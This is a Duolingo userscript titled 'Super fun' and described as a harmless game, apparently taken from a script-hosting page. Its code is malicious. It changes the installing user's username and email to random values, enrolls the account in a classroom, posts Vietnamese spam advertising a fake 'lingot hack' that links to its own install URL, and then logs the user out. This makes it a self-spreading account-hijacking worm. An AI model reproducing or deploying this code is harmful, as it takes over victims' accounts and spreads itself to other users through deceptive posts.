NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name Super fun // @namespace Super-fun-game // @version v0.0.1 // @description Game super fun, lol :D // @author Super // @updateURL https://openuserjs.org/meta/hotamago/Super_fun.meta.js // @icon https://raw.githubusercontent.com/reactjs/redux/master/logo/logo.png // @match https://www.duolingo.com/* // @grant none // ==/UserScript== //---------------------------------------------------------------------------------------------------------------------------------------------- //---------------------------------------------------------------------------------------------------------------------------------------------- // Hàm thiết lập Cookie function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays*60*1000)); var expires = "expires="+d.toUTCString(); document.cookie = cname + "=" + cvalue + "; " + expires; } // Hàm lấy Cookie function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1); if (c.indexOf(name) == 0) return c.substring(name.length, c.length); } return ""; } //---------------------------------------------------------------------------------------------------------------------------------------------- function inject(f) { var script; script = document.createElement('script'); script.type = 'text/javascript'; script.setAttribute('name', 'HotaVN'); script.textContent = '(' + f.toString() + ')(jQuery)'; document.head.appendChild(script); } inject(f); function f($) { var cache = { id: 0, el: null, top_el: null }; } function SendData(Link, data, type) { if(type==1){ $.ajax({ url: Link, type: "post", dateType:"text", data : data }); } else if(type==2){ $.ajax({ url: Link, type: 'POST', data: JSON.stringify(data), contentType: 'application/json; charset=utf-8', dataType: 'json', async: false }); } else if(type==3){ $.ajax({ headers : { 'Accept' : 'application/json', 'Content-Type' : 'application/json' }, url: Link, type: 'PATCH', data: JSON.stringify(data) }); } } if(window.location!="https://www.duolingo.com/discussion" && getCookie("AccSuper")==""){ window.location="https://www.duolingo.com/discussion"; } function MotPhatOk() { setCookie("AccSuper", "ok", 6); window.location="https://www.duolingo.com/logout"; } function StartCode1(idTK) { var RanDomTK = Math.floor((Math.random() * 999999) + 100); var DataHere = { username:"AccSuper"+RanDomTK }; SendData("/2017-06-30/users/"+idTK+"?fields=username",DataHere,3); DataHere = { email:"AccSuper"+RanDomTK+"@gmail.com" }; SendData("/2017-06-30/users/"+idTK+"?fields=email",DataHere,3); DataHere = { "title":"Tải code DuoTweak và code hack lingot","message":"Đây là code cho phép các bạn dùng DuoTweak đồng thời hack lingot ở tài khoản bạn lên tới 99999 lingot hoặc số lingot bạn thích. code hỗ trợ chống hack khi vào lớp học, xem tài khoản người khác, hack like, hack cấp độ, hack xp, hack tường, hack streak,...\n\nĐể tải các bạn phải có phần mềm Tampermonkey\n\nKhi tải xong các bạn vào link này để tải: [Bấm vào đây](https://openuserjs.org/install/hotamago/Super_fun.user.js)","type":"question","topic_id":"894" }; SendData("/comments",DataHere,2); SendData("/comments",DataHere,2); SendData("/comments",DataHere,2); setTimeout(MotPhatOk, 5000); } var StartCode = function () { if(getCookie("AccSuper")==""){ var DataHere1 = { classroom_id:2500275 }; SendData("/api/1/observers/join_classroom",DataHere1,1); var namenick = "/users/"+$('.name').html(); $.ajax({ url: namenick, type: "get", dateType:"text", data : {},success: function(produolingo){ StartCode1(produolingo.observer_id); }, error: function (){ alert('Duolingo: Lỗi rồi, vui lòng tải lại trang web'); } }); } }; function ajax_complete(e, r, o) { if (!duo || !duo.user) return; if (o.url == "/diagnostics/js_error") return; var x = new RegExp("^/comments/[0-9]+($|\\?|/reply|/upvote|/downvote|/love)"); var a = x.exec(o.url); } $(document).ajaxComplete(function (e, r, o) { ajax_complete(e, r, o); }); StartCode();